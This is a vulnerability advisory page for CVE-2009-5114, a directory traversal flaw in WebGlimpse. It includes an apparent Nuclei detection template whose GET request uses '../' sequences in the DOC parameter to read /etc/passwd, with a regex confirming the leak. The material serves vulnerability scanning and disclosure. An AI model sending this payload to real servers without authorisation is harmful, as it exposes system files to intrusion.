CVE-2009-5114: WebGlimpse 2.18.7 - Directory Traversal

2025-08-01 WebGlimpse PoC Public

Description

A directory traversal vulnerability in wgarcmin.cgi in WebGlimpse 2.18.7 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the DOC parameter.

PoC

id: CVE-2009-5114

info:
  name: WebGlimpse 2.18.7 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in wgarcmin.cgi in WebGlimpse 2.18.7 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the DOC parameter.
  impact: |
    An attacker can view, modify, or delete sensitive files on the server, potentially leading to unauthorized access or data leakage.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/36994
    - https://nvd.nist.gov/vuln/detail/CVE-2009-5114
    - http://websecurity.com.ua/2628/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74321
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2009-5114
    cwe-id: CWE-22
    epss-score: 0.13298
    epss-percentile: 0.9619
    cpe: cpe:2.3:a:iwork:webglimpse:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: iwork
    product: webglimpse
  tags: cve,cve2009,edb,lfi,iwork,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022018ff263e2f305cd76c40a6feb221b5634cf19c5193634fc0e87930a73fa735ab0220426931c2a59362371272e6490bce6cab25ce6824b33cc3b4ff6a7bfc85ce39be:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities